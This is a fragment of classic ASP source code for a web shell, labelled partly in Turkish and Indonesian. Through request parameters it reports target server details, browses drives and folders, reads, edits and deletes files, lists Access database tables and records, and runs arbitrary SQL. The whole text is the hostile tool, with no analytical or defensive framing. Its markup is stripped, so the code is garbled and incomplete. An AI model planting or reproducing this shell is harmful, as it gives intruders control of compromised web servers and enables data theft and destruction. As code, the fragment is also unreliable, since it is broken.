% mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) on error resume next Dim objFSO,popup Set objFSO = CreateObject ("Scripting.FileSystemObject") if Request("kuskapani")=1 then Response.End end if if Request("kuskapani")=2 then on error resume next path = Request("path") sFolder = Request("SubFolder") fName = Request("FileName") d1 = Request("dosya1") d2 = Request("dosya2") d3 = Request("dosya3") d4 = Request("dosya4") d5 = Request("dosya5") d6 = Request("dosya6") bg__ = Request.Form("selectColour") if bg__ = "0" then bg__ = "#ffffff" byMesaj = "
" & Request("byMesaj") '& "Lokasi | Keterangan |
: Informasi target: | |
Local Adres | " & request.servervariables("REMOTE_ADDR") & " |
User Agent | " & request.servervariables("HTTP_USER_AGENT") & " |
Server | " & request.servervariables("SERVER_NAME") & " |
IP | " & request.servervariables("LOCAL_ADDR") & " |
HTTPD | " & request.servervariables("SERVER_SOFTWARE") & " |
Port | " & request.servervariables("SERVER_PORT") & " |
Yol | " & request.servervariables("APPL_PHYSICAL_PATH") & " |
Log Root | " & request.servervariables("APPL_MD_PATH") & " |
HTTPS | " & request.servervariables("HTTPS") & " |
Sebaiknya jangan dilakukan yah... (hanya bisa dijalankan di internet explorer) |
" KlasorOku Response.Write " | " DosyaOku Response.Write " | " hataKontrol CASE 2 'Normal listeleme if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) Response.Write "
" KlasorOku Response.Write " | " DosyaOku Response.Write " | " hataKontrol CASE 3 'File Delete objFSO.DeleteFile del hataKontrol if err<>0 then byMsg="Not File Deleted!
"
set f = objFSO.OpenTextFile(path,1)
Response.Write ""&Server.HTMLEncode(f.readAll)&"" if err<>62 then hataKontrol if err.number=62 then Response.Write "":Response.End CASE 6 'Resim aç Response.Write " " CASE 7 'database tablo listele Response.Write "Nama-nama tabel " Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 "&table.Name&" " End If Next hataKontrol CASE 8 'database kayýt listele Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "
" hataKontrol CASE 9 'SQL Execute Set objConn = Server.CreateObject("ADODB.Connection") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objConn.Execute strSQL ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time hataKontrol CASE 10 'Dosya Editleme set f = objFSO.OpenTextFile(dPath,1) Response.Write " " else byMsg = "File Edited Successful:) " end if Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg CASE 12 'Dosya Arama araBul path,arama hataKontrol END SELECT Response.Write " |
Daftar drive: |
" Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write " |
" Response.write "H Local Path" Response.Write " |